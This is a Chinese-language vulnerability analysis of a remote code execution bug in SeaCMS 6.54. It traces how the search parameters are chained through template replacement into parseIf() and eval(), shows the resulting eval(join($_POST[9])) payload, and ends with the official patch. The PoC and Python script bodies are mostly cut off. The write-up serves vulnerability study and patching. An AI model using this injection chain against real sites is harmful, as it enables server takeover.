环境搭建
- seacms 6.54
- php 5.4.45
- Ubuntu 18.04 + mysql 5.7 + Apache2
漏洞概况
这个漏洞是因为绕过了针对seacms 6.45的补丁,对$order
参数进行了限制。
1 | $order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : ""; |
漏洞分析
这次的攻击方式和上次已经不一样了,上次是从$order
参数入手,但是这次的补丁官方对order参数进行了白名单过滤,这样就无法通过order参数过滤进行代码注入,但是之前的6.45版本中的分析,我们已经知道,漏洞的产生是因为parseIf()函数中的参数没有经过过滤,直接拼接后调用eval()执行导致的。先看一下新的攻击的payload:
PoC :
1 | // URL |
从poc我们看到攻击的参数不再是通过order注入的,而是其他的参数。虽然这些变量经过了removeXSS
,addslashes
函数的过滤并且每个参数仅截取前20个字符,但是这些变量还是可以通过变量覆盖的方式传入。
1 | $searchword = RemoveXSS(stripslashes($searchword)); |
在echoSearchPage()
函数中会对jq
、area
、year
等这些参数进行替换。
1 | function echoSearchPage(){ |
从前面的分析我们已经知道$content
的内容就是templets/default/cascade.html
,在未替换前的内容为:
此时$searchword={if{searchpage:year}
,执行下面的替换语句:
1 | $content = str_replace("{seacms:searchword}",$searchword,$content); |
替换后为:
然后我们知道$year=:e{searchpage:area}}
,然后执行下面的语句:
1 | $content = str_replace("{searchpage:year}",$year,$content); |
替换后为:
同理,继续执行str_replace,$area=v{searchpage:letter}
1 | $content = str_replace("{searchpage:area}",$area,$content); |
替换后为:
继续执行下面的语句替换$content
内容:
1 | $content = str_replace("{searchpage:letter}",$letter,$content); |
替换完的结果是
总之,依次替换后的内容为:
1 | <meta name="keywords" content="{if{searchpage:year},海洋CMS" /> |
$content
被传入parseIf()
函数
1 | $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is"); |
就能解析出1eval(join($_POST[9]))
最后执行的eval语句就是
1 | @eval(if(eval(join($_POST[9]))){$ifFlag=true;}else{$ifFlag=false;}); |
Python 脚本
1 | __author__ = 'Bantian' |
运行结果
官方补丁
include/main.class.php
:
1 | foreach($iar as $v){ |
官方给出的修复方案就是在parseIf()函数中添加黑名单,替换一些敏感字符。